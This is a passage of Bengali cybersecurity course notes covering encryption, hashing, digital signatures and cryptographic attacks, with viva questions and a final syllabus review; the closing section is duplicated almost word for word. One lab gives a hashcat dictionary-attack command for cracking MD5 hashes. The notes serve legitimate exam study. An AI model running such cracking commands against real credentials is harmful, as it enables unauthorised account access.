- উত্তর: প্রধান পার্থক্য হলো চাবির (Key) ব্যবহারে। সিমেন্ট্রিক এনক্রিপশনে ডাটা লক এবং আনলক করার জন্য একই চাবি (Single Secret Key) ব্যবহার করা হয়। অন্যদিকে, অ্যাসিমেন্ট্রিক এনক্রিপশনে দুটি ভিন্ন চাবি ব্যবহার করা হয়—ডাটা লক করার জন্য সবার জন্য উন্মুক্ত 'Public Key' এবং ডাটা আনলক করার জন্য সম্পূর্ণ গোপন 'Private Key'।
- প্রশ্ন ২: পাবলিক কি (Public Key) দিয়ে এনক্রিপ্ট করা কোনো ডেটা কি অন্য কোনো পাবলিক কি দিয়ে ডিক্রিপ্ট করা সম্ভব?
- উত্তর: না, অসম্ভব। অ্যাসিমেন্ট্রিক ক্রিপ্টোগ্রাফির গাণিতিক নিয়ম অনুযায়ী, একটি নির্দিষ্ট পাবলিক কি দিয়ে যে ডাটা এনক্রিপ্ট করা হবে, তা ডিক্রিপ্ট করার জন্য শুধুমাত্র সেটির সাথে সম্পর্কিত বা পেয়ারড (Paired) সুনির্দিষ্ট প্রাইভেট কি (Private Key) টিই ব্যবহার করতে হবে।
- প্রশ্ন ৩: AES অ্যালগরিদম কী এবং এটি কোন ধরনের ক্রিপ্টোগ্রাফির উদাহরণ?
- উত্তর: AES এর পূর্ণরূপ হলো **Advanced Encryption Standard**। এটি একটি অত্যন্ত শক্তিশালী এবং বৈশ্বিক স্ট্যান্ডার্ড **Symmetric Encryption** অ্যালগরিদম। এটি সাধারণত ১২৮, ১৯২ বা ২৫৬ বিটের চাবি ব্যবহার করে ব্লক সাইফার পদ্ধতিতে ডাটা লক করে, যা বর্তমান বিশ্বে সরকারি ও সামরিক স্তরের ডাটা সুরক্ষায় ব্যবহৃত হয়।

আপনার জন্য কাজ (**Task for You**):

সিমেন্ট্রিক ও অ্যাসিমেন্ট্রিক ক্রিপ্টোগ্রাফির মূল লজিক, চাবির ব্যবহার এবং ওপেনএসএসএল (OpenSSL)-এর ফাইল লক ও আনলক করার কমান্ড দুটি ভালো করে মুখস্থ করে নিন। পড়া সম্পূর্ণ হলে এবং পরবর্তী অ্যাডভান্সড ক্লাসের জন্য প্রস্তুত থাকলে নিচে লিখুন "২৩তম ক্লাস" বা "**Class 23**"।



Class 23: Cryptographic Hash Functions & Digital Signatures

সিলেবাসের অংশ: Apply Cryptography Concepts — Perform hashing, Verify data integrity, & Implement digital signatures [OUCyS010L4V!]

২২তম ক্লাসে আমরা ক্রিপ্টোগ্রাফির মূল ভিত্তি এবং সিমেন্ট্রিক ও অ্যাসিমেন্ট্রিক এনক্রিপশনের পার্থক্য শিখেছি। আজ

২৩তম ক্লাসে আমরা ক্রিপ্টোগ্রাফির আরেকটি অত্যন্ত গুরুত্বপূর্ণ স্তম্ভ—**Hash Function** (হ্যাশ ফাংশন) এবং **Digital**

Signature (ডিজিটাল সিগনেচার) সম্পর্কে জানব। ডাটার সততা বা ইন্টিগ্রিটি (Integrity) বজায় রাখার জন্য এটি

পেনটেস্টিং এবং সিকিউরিটি অডিটে প্রতিনিয়ত ব্যবহৃত হয়।

১. মূল তত্ত্ব (Core Theory)

ক. Cryptographic Hash Function কী?

হ্যাশ ফাংশন হলো একটি গাণিতিক অ্যালগরিদম যা যেকোনো সাইজের ডেটা বা ফাইলকে (তা একটি একক অক্ষর হোক বা ১০ জিবির মুভি) একটি নির্দিষ্ট দৈর্ঘ্যের (Fixed Length) ইউনিক হিজিবিজি ক্যারেক্টারের স্ট্রিংয়ে রূপান্তর করে। একে বলা হয় **Hash** বা **Digital Fingerprint**।

হ্যাশ ফাংশনের প্রধান বৈশিষ্ট্যসমূহ:

1. **One-Way** (একমুখী): প্লেইনটেক্সট থেকে হ্যাশ তৈরি করা সহজ, কিন্তু হ্যাশ থেকে রিভার্স করে আসল ডেটা বের করা গাণিতিকভাবে অসম্ভব।
2. **Deterministic**: একই ইনপুটের জন্য সবসময় একই হ্যাশ ভ্যালু পাওয়া যাবে।
3. **Avalanche Effect**: ইনপুটে সামান্যতম পরিবর্তন (যেমন একটি ফুলস্টপ বা স্পেস যোগ করা) করলে পুরো হ্যাশ ভ্যালুটি সম্পূর্ণ বদলে যাবে।
4. **Collision Resistance**: দুটি ভিন্ন ইনপুটের হ্যাশ ভ্যালু কখনো এক হতে পারবে না।

জনপ্রিয় হ্যাশ অ্যালগরিদম: MD5 (এখন অনিরাপদ), SHA-1 (অনিরাপদ), **SHA-256** (বর্তমানে স্ট্যান্ডার্ড ও নিরাপদ)।

খ. Data Integrity (ডাটার সত্যতা যাচাই)

ইন্টারনেট থেকে কোনো ফাইল ডাউনলোড করার সময় বা ডাটাবেজে পাসওয়ার্ড সেভ করার সময় ডাটা পরিবর্তন হয়েছে কিনা (ম্যান-ইন-দ্য-মিডল অ্যাটাক বা ভাইরাসের কারণে) তা চেক করার প্রক্রিয়াকে **Integrity Verification** বলে। ফাইলের আসল হ্যাশের সাথে ডাউনলোড করা ফাইলের হ্যাশ মিলিয়ে এটি নিশ্চিত করা হয়।

গ. Digital Signature (ডিজিটাল সিগনেচার)

ডিজিটাল সিগনেচার হলো ইন্টারনেটে কোনো ফাইলের সত্যতা (Authenticity) এবং নন-রেপুডিয়েশন (Non-repudiation - অর্থাৎ ডেটা পাঠিয়ে কেউ অস্বীকার করতে পারবে না) নিশ্চিত করার ক্রিপ্টোগ্রাফিক পদ্ধতি। এটি অ্যাসিমেন্ট্রিক কি (Key) ব্যবহার করে কাজ করে:

- লেখক তার বার্তার হ্যাশ তৈরি করে তা নিজের **Private Key** দিয়ে এনক্রিপ্ট করে সিগনেচার তৈরি করেন।
- প্রাপক লেখকের **Public Key** দিয়ে তা ডিক্রিপ্ট করে বার্তাটির সত্যতা যাচাই করেন।

২. ল্যাব ও প্র্যাকটিক্যাল টাস্ক (Practical Tasks)

পরীক্ষার ল্যাবে লিনাক্স কম্যান্ডের সাহায্যে কোনো টেক্সট বা ফাইলের হ্যাশ ভ্যালু (MD5/SHA-256) বের করার টাস্ক প্রায়ই আসে।

টাস্ক ১: লিনাক্সে **SHA-256** হ্যাশ তৈরি করা

টার্মিনালে কোনো পাসওয়ার্ড বা মেসেজের হ্যাশ ভ্যালু দেখার জন্য নিচের কমান্ডটি প্রয়োগ করুন:

Bash

```
echo -n "Mahfuz123" | sha256sum
```

(ব্যাখ্যা: এই কমান্ডটি Mahfuz123 স্ট্রিংটির সুনির্দিষ্ট ৬৪ ক্যারেক্টারের **SHA-256** হ্যাশ আউটপুট দেবে।)-n ব্যবহার করা হয়েছে যেন নতুন কোনো লাইন বা স্পেস হ্যাশে কাউন্ট না হয়।)

টাস্ক ২: কোনো ফাইলের ইন্টিগ্রিটি (**Integrity**) চেক করা

ধরে নিন আপনি একটি ফাইল ডাউনলোড করেছেন এবং নিশ্চিত হতে চান এটি আসল কিনা:

Bash

```
sha256sum downloaded_file.iso
```

(ব্যাখ্যা: এই কমান্ডটি ওই ফাইলের একটি ইউনিক হ্যাশ দেবে। ডেভলপারের ওয়েবসাইটে দেওয়া আসল হ্যাশের সাথে এই হ্যাশটি হুবহু মিললে বুঝতে হবে ফাইলটি নিরাপদ ও অবিকৃত আছে।)

৩. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: **Encryption** (এনক্রিপশন) এবং **Hashing** (হ্যাশিং)-এর মধ্যে মূল কারিগরি পার্থক্য কী?

- উত্তর: প্রধান পার্থক্য হলো—এনক্রিপশন একটি উভমুখী (**Two-way**) প্রক্রিয়া, অর্থাৎ উপযুক্ত চাবি (Key) ব্যবহার করে এনক্রিপ্ট করা ডেটাকে আবার ডিক্রিপ্ট করে আগের অবস্থায় ফিরিয়ে আনা যায়। অন্যদিকে, হ্যাশিং একটি একমুখী (**One-way**) গাণিতিক প্রক্রিয়া, যার মাধ্যমে ডেটার একটি ফিক্সড-লেংথ ফিঙ্গারপ্রিন্ট তৈরি করা হয় কিন্তু হ্যাশ থেকে কখনোই রিভার্স করে আসল ডেটা উদ্ধার করা যায় না।
- প্রশ্ন ২: হ্যাশ ফাংশনের ক্ষেত্রে "**Collision**" বলতে কী বোঝায়? এটি ঘটলে কী সমস্যা হয়?
- উত্তর: যখন দুটি সম্পূর্ণ ভিন্ন ইনপুট বা ফাইলের গাণিতিক হ্যাশ ভ্যালু ভুলবশত হুবহু একই চলে আসে, তখন তাকে **Hash Collision** বলা হয়। এটি ঘটলে ক্রিপ্টোগ্রাফিক নিরাপত্তা ভেঙে পড়ে, কারণ হ্যাকার একটি আসল ফাইলের জায়গায় একই হ্যাশ বিশিষ্ট একটি ম্যালিসিয়াস বা ক্ষতিকর ফাইল প্রতিস্থাপন করে সিস্টেমকে ধোঁকা দিতে পারে (যেমনটি MD5 অ্যালগরিদমের ক্ষেত্রে সম্ভব)।
- প্রশ্ন ৩: ডিজিটাল সিগনেচার কীভাবে "**Non-repudiation**" বা অনস্বীকার্যতা নিশ্চিত করে?
- উত্তর: যেহেতু ডিজিটাল সিগনেচার তৈরি করতে প্রেরকের সম্পূর্ণ গোপন ও ইউনিক **Private Key** ব্যবহার করা হয় (যা অন্য কারও কাছে থাকা অসম্ভব), তাই বার্তাটি সফলভাবে প্রেরকের পাবলিক কি দিয়ে ডিক্রিপ্ট হওয়া মানে বার্তাটি নিশ্চিতভাবেই ওই ব্যক্তি পাঠিয়েছেন। ডিজিটাল সিগনেচার করা ডেটা পাঠানোর পর প্রেরক কোনোভাবেই দাবি করতে পারেন না যে বার্তাটি তিনি পাঠাননি।

আপনার জন্য কাজ (**Task for You**):

হ্যাশিংয়ের বৈশিষ্ট্যসমূহ, SHA-256 কমান্ড এবং এনক্রিপশন বনাম হ্যাশিংয়ের পার্থক্য খুব ভালো করে রিভিশন দিন। পড়া সম্পূর্ণ হলে এবং আমাদের এই কোর্সের সর্বশেষ রিভিশন বা পরবর্তী ক্লাসের জন্য প্রস্তুত থাকলে নিচে লিখুন "২৪তম ক্লাস" বা "**Class 24**"।



Class 24: Advanced Cryptographic Attacks & Final Course Review

সিলেবাসের অংশ: Apply Cryptography Concepts — Identify Cryptographic Attacks & Implement Countermeasures [OUCyS010L4V!]

২৩তম ক্লাসে আমরা ক্রিপ্টোগ্রাফিক হ্যাশ ফাংশন, ডাটা ইন্টিগ্রিটি এবং ডিজিটাল সিগনেচার সম্পর্কে বিস্তারিত জেনেছি। আজ ২৪তম ক্লাসে আমরা ক্রিপ্টোগ্রাফির প্রধান দুর্বলতা বা অ্যাটাক ভেক্টরগুলো নিয়ে আলোচনা করব। একই সাথে, এটি আমাদের পুরো কোর্সের সমাপনী ক্লাস হওয়ায় আমরা সম্পূর্ণ সিলেবাসের একটি কুইক রিভিশন গাইডলাইন দেখে নেব, যা আপনার NSDA পরীক্ষার চূড়ান্ত প্রস্তুতি নিশ্চিত করবে।

১. মূল তত্ত্ব (Core Theory)

হ্যাকাররা ক্রিপ্টোগ্রাফিক সিস্টেম বা এনক্রিপশন ব্রেক করার জন্য বিভিন্ন ধরনের গাণিতিক ও প্র্যাকটিক্যাল অ্যাটাক ব্যবহার করে থাকে:

ক. ক্রিপ্টোগ্রাফিক অ্যাটাকের প্রকারভেদ (**Cryptographic Attacks**)

1. **Brute-Force Attack:** হ্যাকার কোনো গাণিতিক ড্রিকস না খাটিয়ে সম্ভাব্য সব ধরনের পাসওয়ার্ড বা চাবির কম্বিনেশন একে একে ট্রাই করতে থাকে যতক্ষণ না সঠিক চাবিটি পাওয়া যায়। এটি সময়সাপেক্ষ।
2. **Dictionary Attack:** একটি পূর্বনির্ধারিত শব্দের তালিকা বা পাসওয়ার্ড ফাইল (যেমন: `rockyou.txt`) ব্যবহার করে হ্যাশ মেলানোর চেষ্টা করা হয়।
3. **Rainbow Table Attack:** এটি একটি অত্যন্ত রেডিমেড এবং দ্রুতগতির হ্যাশ ত্র্যাকিং পদ্ধতি। আগে থেকেই লাখ লাখ কমন পাসওয়ার্ডের বিপরীতে তৈরি করে রাখা হ্যাশ ভ্যালুর বিশাল ডাটাবেজকে **Rainbow Table** বলে। হ্যাকার ভিকটিমের হ্যাশটি এই টেবিলের সাথে সরাসরি সার্চ করে কয়েক সেকেন্ডে পাসওয়ার্ড বের করে ফেলে।
4. **Known-Plaintext Attack (KPA):** এখানে হ্যাকারের কাছে পূর্ববর্তী কোনো সেশনের কিছু প্লেইনটেক্সট এবং সেটির সমতুল্য সাইফারটেক্সট উভয়ই থাকে। এই দুটি মিলিয়ে সে ব্যাকএন্ডের সিক্রেট চাবিটি (Key) বের করার চেষ্টা করে।

খ. ক্রিপ্টোগ্রাফিক কাউন্টারমেজারস (**Countermeasures**)

- **Salting (সল্টিং):** রেইনবো টেবিল বা প্রি-কম্পিউটেড অ্যাটাক প্রতিরোধ করার সবচেয়ে সেরা উপায় হলো **Salting**। পাসওয়ার্ড হ্যাশ করার ঠিক আগে তার সাথে একটি র‍্যান্ডম ক্যারেक्टरের স্ট্রিং (যাকে Salt বলা হয়) যুক্ত করে দেওয়া হয় (যেমন: Password123 + xyz#1!). এর ফলে দুটি ইউজারের পাসওয়ার্ড এক হলেও তাদের হ্যাশ সম্পূর্ণ আলাদা হয় এবং রেইনবো টেবিল কাজ করে না।
- **Key Stretching:** PBKDF2 বা Bcrypt এর মতো অ্যালগরিদম ব্যবহার করে হ্যাশিং প্রসেসকে ইচ্ছাকৃতভাবে কিছুটা ধীরগতির (Slow) করে দেওয়া হয়, যেন হ্যাকাররা দ্রুত ব্রুট-ফোর্স করতে না পারে।

②. ল্যাব ও প্র্যাক্টিক্যাল টাস্ক (Final Practical Task)

পরীক্ষার ল্যাবে আপনাকে একটি MD5 বা SHA-1 হ্যাশ দিয়ে সেটি ক্র্যাক বা আইডেন্টিফাই করতে বলা হতে পারে।

টাস্ক ১: অনলাইন হ্যাশ ক্র্যাকিং এবং আইডেন্টিফিকেশন

বাস্তব ক্ষেত্রে বা ল্যাবে কোনো অজানা হ্যাশ পেলে প্রথমে সেটি কোন অ্যালগরিদমের তা চিনতে হবে।

- MD5 হ্যাশ সবসময় ৩২ ক্যারেक्टरের (Hex) হয়।
- SHA-1 হ্যাশ সবসময় ৪০ ক্যারেक्टरের (Hex) হয়।
- SHA-256 হ্যাশ সবসময় ৬৪ ক্যারেक्टरের (Hex) হয়।

যদি ল্যাবে কোনো হ্যাশ দেওয়া হয়, তবে তা ক্র্যাক করার জন্য নিরাপত্তা গবেষকরা পেনটেস্টিং টুল **John the Ripper** অথবা **Hashcat** ব্যবহার করেন।

Bash

```
hashcat -m 0 -a 0 target_hash.txt /usr/share/wordlists/rockyou.txt
```

(ব্যখ্যা: -m 0 দিয়ে MD5 অ্যালগরিদম নির্দেশ করা হয়েছে এবং ডিকশনারি মোডে পাসওয়ার্ড ফাইল পুশ করা হয়েছে।)

③. ভাইবা প্রস্তুতি ও সম্ভাব্য প্রশ্ন (Viva Q&A)

- প্রশ্ন ১: হ্যাশিংয়ের ক্ষেত্রে "Salting" কেন ব্যবহার করা হয় এবং এটি কীভাবে সিকিউরিটি বাড়ায়?
- উত্তর: সল্টিং হলো পাসওয়ার্ড হ্যাশ করার আগে তার সাথে অতিরিক্ত কিছু র‍্যান্ডম ক্যারেक्टर বা ডাটা যোগ করার প্রক্রিয়া। এটি ব্যবহার করা হয় মূলত **Rainbow Table Attack** প্রতিরোধ করার জন্য। সল্টিং করার ফলে যদি দুজন ব্যবহারকারী হুবহু একই পাসওয়ার্ডও ব্যবহার করেন, তাহলেও তাদের ফাইনাল হ্যাশ ভ্যালু সম্পূর্ণ ভিন্ন আসে, যার ফলে হ্যাকাররা প্রি-কম্পিউটেড হ্যাশ ডাটাবেজ দিয়ে পাসওয়ার্ড ক্র্যাক করতে পারে না।
- প্রশ্ন ২: **Brute-Force Attack** এবং **Dictionary Attack** এর মধ্যে মূল পার্থক্য কী?
- উত্তর: ব্রুট-ফোর্স অ্যাটাকে হ্যাকার সম্ভাব্য সকল ক্যারেक्टरের কম্বিনেশন (যেমন: a-z, A-Z, 0-9) ক্রমান্বয়ে চেষ্টা করে, যা শতভাগ সফল হলেও অত্যন্ত সময়সাপেক্ষ। আর ডিকশনারি অ্যাটাকে শুধুমাত্র একটি নির্দিষ্ট পাসওয়ার্ড ফাইলের (Wordlist) ভেতরে থাকা সুপরিচিত ও প্রচলিত শব্দ বা পাসওয়ার্ডগুলোই কেবল একে একে চেষ্টা করা হয়, যা ব্রুট-ফোর্সের চেয়ে অনেক দ্রুত সম্পন্ন হয়।



চূড়ান্ত রিভিশন রোডম্যাপ (Final Exam Syllabus Review)

আমাদের এই ২৪টি ক্লাসের মাধ্যমে NSDA সিলেবাসের প্রধান প্রধান টেকনিক্যাল মডিউলগুলো সম্পন্ন হয়েছে। পরীক্ষার ঠিক আগে নিচের টপিকগুলো অবশ্যই চোখ বুলিয়ে যাবেন:

- ক্লাস ১-৪ (**Network Recon & Scanning**): Nmap এর প্রধান স্ক্যান মোডসমূহ (-sS, -sT, -sV, -O), তিন-ধাপের হ্যান্ডশেক (3-Way Handshake) এবং পোর্টের স্টেটসমূহ।
- ক্লাস ৫-৭ (**System Hacking & Malware**): পাসওয়ার্ড ক্র্যাকিং মেথড, ট্রোজান, র‍্যানসমওয়্যার ও ভাইরাসের পার্থক্য এবং ডস/ডিডসের (DDoS) কারিগরি ধারণাসমূহ।
- ক্লাস ৮-১০ (**Web Application Security**): OWASP Top 10, SQL Injection (In-band, Blind) এবং Cross-Site Scripting (Stored, Reflected) এর পেলোড ও প্রতিরোধ ব্যবস্থা।
- ক্লাস ১১-১২ (**Web Services & API**): API পেনটেস্টিং ধারণা, ডিরেক্টরি ব্রুটফোর্সিং (Dirb/Gobuster) এবং সেশন হাইজ্যাকিংয়ের ক্লাগসমূহ (HttpOnly, Secure)।
- ক্লাস ১৩-১৫ (**Vulnerability Assessment**): VA বনাম PT, CVSS স্কোরিং সিস্টেম (১-১০) এবং Nikto স্ক্যানিং ও প্রফেশনাল রিপোর্টিংয়ের কাঠামো।

- ক্লাস ১৬-১৭ (**Security Systems Bypass**): ফায়ারওয়াল ও আইডিএস ইভেশন, Nmap ফ্র্যাগমেন্টেশন (-f) ও ডেকয় স্ক্যান (-D), এবং হানিপটের ধারণাসমূহ।
- ক্লাস ১৮-১৯ (**Wireless Hacking**): ওয়াই-ফাই এনক্রিপশন (WEP, WPA2, WPA3), মনিটর মোড এবং ৪-ওয়ে হ্যান্ডশেক ক্যাপচারিং টুলস (Aircrack-ng সুইট)।
- ক্লাস ২০-২১ (**Cloud Security**): ক্লাউড মডেল (IaaS, PaaS, SaaS), শেয়ার্ড রেসপন্সিবিলিটি ফ্রেমওয়ার্ক এবং ক্লাউড মিসকনফিগারেশন অডিট।
- ক্লাস ২২-২৪ (**Cryptography**): সিমেন্টিক বনাম অ্যাসিমেন্টিক এনক্রিপশন (AES, RSA), হ্যাশ ফাংশনের বৈশিষ্ট্য (SHA-256), ডিজিটাল সিগনেচার এবং সল্টিং।

📌 সমাপনী বার্তা: একজন সাইবার সিকিউরিটি রিসার্চার এবং পেনটেস্টার হিসেবে থিওরির পাশাপাশি লিনাক্সের কমান্ড ও লজিকগুলোর ওপর আপনার চমৎকার দখল রয়েছে। এই ২৪টি ক্লাসের মেটেরিয়ালস এবং ভাইবা গাইডলাইনগুলো নিয়মিত রিভিশন দিলে আপনি যেকোনো প্রফেশনাল অ্যাসেসমেন্ট এবং কারিগরি পরীক্ষায় দারুণ ফলাফল করতে পারবেন।

আপনার সিকিউরিটি লার্নিং জার্নি এবং ভবিষ্যতের সব গবেষণার জন্য অনেক অনেক শুভকামনা! আপনার যদি কোনো নির্দিষ্ট ল্যাব বা স্ক্রিপ্ট নিয়ে আরও গভীর কোনো জিজ্ঞাসা থাকে, যেকোনো সময় আলোচনা করতে পারেন।

২৪ ক্লাসের এই দীর্ঘ যাত্রায় আমরা আপনার সিলেবাসের কোর এবং কারিগরি (Technical) প্রতিটি মডিউল অত্যন্ত গভীরভাবে সম্পন্ন করেছি। তবে পরীক্ষার শতভাগ প্রস্তুতি নিশ্চিত করার জন্য এবং সিলেবাসের কোনো কোণ যেন বাদ না থাকে, সে উদ্দেশ্যে ছোট দুটি নন-টেকনিক্যাল বা থিওরিটিক্যাল কমপ্লায়েন্স পার্ট একটু চোখ বুলিয়ে নেওয়া ভালো। টেকনিক্যাল বিষয়গুলোতে আপনার চমৎকার দখল থাকলেও, ভাইবা বা রিটেন পরীক্ষায় ভালো করার জন্য নিচের এই দুটি টপিক সম্পর্কে একটি বেসিক ধারণা রাখা জরুরি:

১. সোশ্যাল ইঞ্জিনিয়ারিং অ্যান্ড ফিজিক্যাল সিকিউরিটি (Social Engineering & Physical Security)

হ্যাকাররা শুধু সিস্টেমে কোড বা কমান্ড পুশ করে না, অনেক সময় মানুষের মনস্তত্ত্বকে ব্যবহার করে ডাটা চুরি করে।

- **Phishing** (ফিশিং): ভুয়া ইমেল বা ওয়েবসাইটের ফাঁদ পেতে ইউজারনেম-পাসওয়ার্ড চুরি করা।
- **Spear Phishing**: কোনো নির্দিষ্ট গুরুত্বপূর্ণ ব্যক্তি বা প্রতিষ্ঠানকে টার্গেট করে ফিশিং করা।
- **Tailgating** (টেইলগেটিং): কোনো ফিজিক্যাল সিকিউরিটি গেট বা সার্ভার রুমের অননুমোদিত কোনো ব্যক্তির ঠিক পেছনে পেছনে অনুমতি ছাড়াই ভেতরে ঢুকে যাওয়া।
- **Shoulder Surfing**: কেউ যখন কম্পিউটারে পাসওয়ার্ড বা পিন টাইপ করছে, তখন তার কাঁধের ওপর দিয়ে লুকিয়ে তা দেখে নেওয়া।

২. সাইবার সিকিউরিটি আইন, স্ট্যান্ডার্ড এবং অডিটিং কমপ্লায়েন্স (Laws, Standards & Compliance)

পেনটেস্টিং বা ভালনারেবিলিটি অ্যাসেসমেন্ট করার সময় কিছু আন্তর্জাতিক নিয়ম এবং আইনি কাঠামো মেনে চলতে হয়:

- **ISO/IEC 27001**: এটি তথ্য নিরাপত্তা ব্যবস্থাপনার (Information Security Management System - ISMS) একটি আন্তর্জাতিক স্ট্যান্ডার্ড বা ফ্রেমওয়ার্ক।
- **PCI-DSS**: কোনো ব্যাংক বা ই-কমার্স প্রতিষ্ঠান যদি ক্রেডিট/ডেবিট কার্ডের ডাটা প্রসেস করে, তবে তাদের এই স্ট্যান্ডার্ডটি কঠোরভাবে মেনে চলতে হয়।
- **GDPR**: ইউরোপের নাগরিকদের ডাটা সুরক্ষার জন্য অত্যন্ত কঠোর একটি প্রাইভেসি আইন।
- **বাংলাদেশ সাইবার নিরাপত্তা আইন**: বাংলাদেশের প্রেক্ষাপটে কোনো ডিজিটাল সিস্টেমে অননুমোদিত প্রবেশ বা ক্ষতি করার শাস্তি এবং আইনি ধারা।

আপনার জন্য ফাইনাল চেকলিস্ট (Are You Ready?):

আপনি টেকনিক্যাল প্রতিটি টপিক—বিশেষ করে **Nmap** স্ক্যানিং, **OWASP Top 10 (SQLi, XSS)**, **WAF/IDS** বাইপাস, ওয়াই-ফাই হ্যান্ডশেক ক্র্যাকিং এবং ক্রিপ্টোগ্রাফিক হ্যাশিং খুব ভালোভাবে আয়ত্ত করেছেন।

সিলেবাসের আর কোনো অংশই বাকি নেই। এই ২৪টি ক্লাসের নোট এবং ভাইবা প্রশ্নগুলো যদি আপনার রিভিশন দেওয়া থাকে, তবে আপনি পরীক্ষার জন্য সম্পূর্ণ প্রস্তুত।
আপনার এই লার্নিং জার্নিতে কোনো নির্দিষ্ট মডিউল, ল্যাব বা কোনো বিশেষ কমান্ড নিয়ে কি শেষ মুহূর্তের কোনো প্রশ্ন বা কনফিউশন আছে, যা আমরা আরেকবার আলোচনা করতে পারি?

২৪ ক্লাসের এই দীর্ঘ যাত্রায় আমরা আপনার সিলেবাসের কোর এবং কারিগরি (Technical) প্রতিটি মডিউল অত্যন্ত গভীরভাবে সম্পন্ন করেছি। তবে পরীক্ষার শতভাগ প্রস্তুতি নিশ্চিত করার জন্য এবং সিলেবাসের কোনো কোণ যেন বাদ না থাকে, সে উদ্দেশ্যে ছোট দুটি নন-টেকনিক্যাল বা থিওরিটিক্যাল কমপ্লিমেন্টস পার্ট একটু চোখ বুলিয়ে নেওয়া ভালো। টেকনিক্যাল বিষয়গুলোতে আপনার চমৎকার দখল থাকলেও, ভাইবা বা রিটেন পরীক্ষায় ভালো করার জন্য নিচের এই দুটি টপিক সম্পর্কে একটি বেসিক ধারণা রাখা জরুরি:

১. সোশ্যাল ইঞ্জিনিয়ারিং অ্যান্ড ফিজিক্যাল সিকিউরিটি (Social Engineering & Physical Security)

হ্যাকাররা শুধু সিস্টেমে কোড বা কমান্ড পুশ করে না, অনেক সময় মানুষের মনস্তত্ত্বকে ব্যবহার করে ডাটা চুরি করে।

- **Phishing** (ফিশিং): ভুয়া ইমেল বা ওয়েবসাইটের ফাঁদ পেতে ইউজারনেম-পাসওয়ার্ড চুরি করা।
- **Spear Phishing**: কোনো নির্দিষ্ট গুরুত্বপূর্ণ ব্যক্তি বা প্রতিষ্ঠানকে টার্গেট করে ফিশিং করা।
- **Tailgating** (টেইলগেটিং): কোনো ফিজিক্যাল সিকিউরিটি গেট বা সার্ভার রুমের অননুমোদিত কোনো ব্যক্তির ঠিক পেছনে পেছনে অনুমতি ছাড়াই ভেতরে ঢুকে যাওয়া।
- **Shoulder Surfing**: কেউ যখন কম্পিউটারে পাসওয়ার্ড বা পিন টাইপ করছে, তখন তার কাঁধের ওপর দিয়ে লুকিয়ে তা দেখে নেওয়া।

২. সাইবার সিকিউরিটি আইন, স্ট্যান্ডার্ড এবং অডিটিং কমপ্লিমেন্টস (Laws, Standards & Compliance)

পেনটেস্টিং বা ভালনারেবিলিটি অ্যাসেসমেন্ট করার সময় কিছু আন্তর্জাতিক নিয়ম এবং আইনি কাঠামো মেনে চলতে হয়:

- **ISO/IEC 27001**: এটি তথ্য নিরাপত্তা ব্যবস্থাপনার (Information Security Management System - ISMS) একটি আন্তর্জাতিক স্ট্যান্ডার্ড বা ফ্রেমওয়ার্ক।
- **PCI-DSS**: কোনো ব্যাংক বা ই-কমার্স প্রতিষ্ঠান যদি ক্রেডিট/ডেবিট কার্ডের ডাটা প্রসেস করে, তবে তাদের এই স্ট্যান্ডার্ডটি কঠোরভাবে মেনে চলতে হয়।
- **GDPR**: ইউরোপের নাগরিকদের ডাটা সুরক্ষার জন্য অত্যন্ত কঠোর একটি প্রাইভেসি আইন।
- **বাংলাদেশ সাইবার নিরাপত্তা আইন**: বাংলাদেশের প্রেক্ষাপটে কোনো ডিজিটাল সিস্টেমে অননুমোদিত প্রবেশ বা ক্ষতি করার শাস্তি এবং আইনি ধারা।

আপনার জন্য ফাইনাল চেকলিস্ট (Are You Ready?):

আপনি টেকনিক্যাল প্রতিটি টপিক—বিশেষ করে **Nmap** স্ক্যানিং, **OWASP Top 10 (SQLi, XSS)**, **WAF/IDS** বাইপাস, ওয়াই-ফাই হ্যান্ডশেক ক্র্যাকিং এবং ক্রিপ্টোগ্রাফিক হ্যাশিং খুব ভালোভাবে আয়ত্ত করেছেন।

সিলেবাসের আর কোনো অংশই বাকি নেই। এই ২৪টি ক্লাসের নোট এবং ভাইবা প্রশ্নগুলো যদি আপনার রিভিশন দেওয়া থাকে, তবে আপনি পরীক্ষার জন্য সম্পূর্ণ প্রস্তুত।

আপনার এই লার্নিং জার্নিতে কোনো নির্দিষ্ট মডিউল, ল্যাব বা কোনো বিশেষ কমান্ড নিয়ে কি শেষ মুহূর্তের কোনো প্রশ্ন বা কনফিউশন আছে, যা আমরা আরেকবার আলোচনা করতে পারি?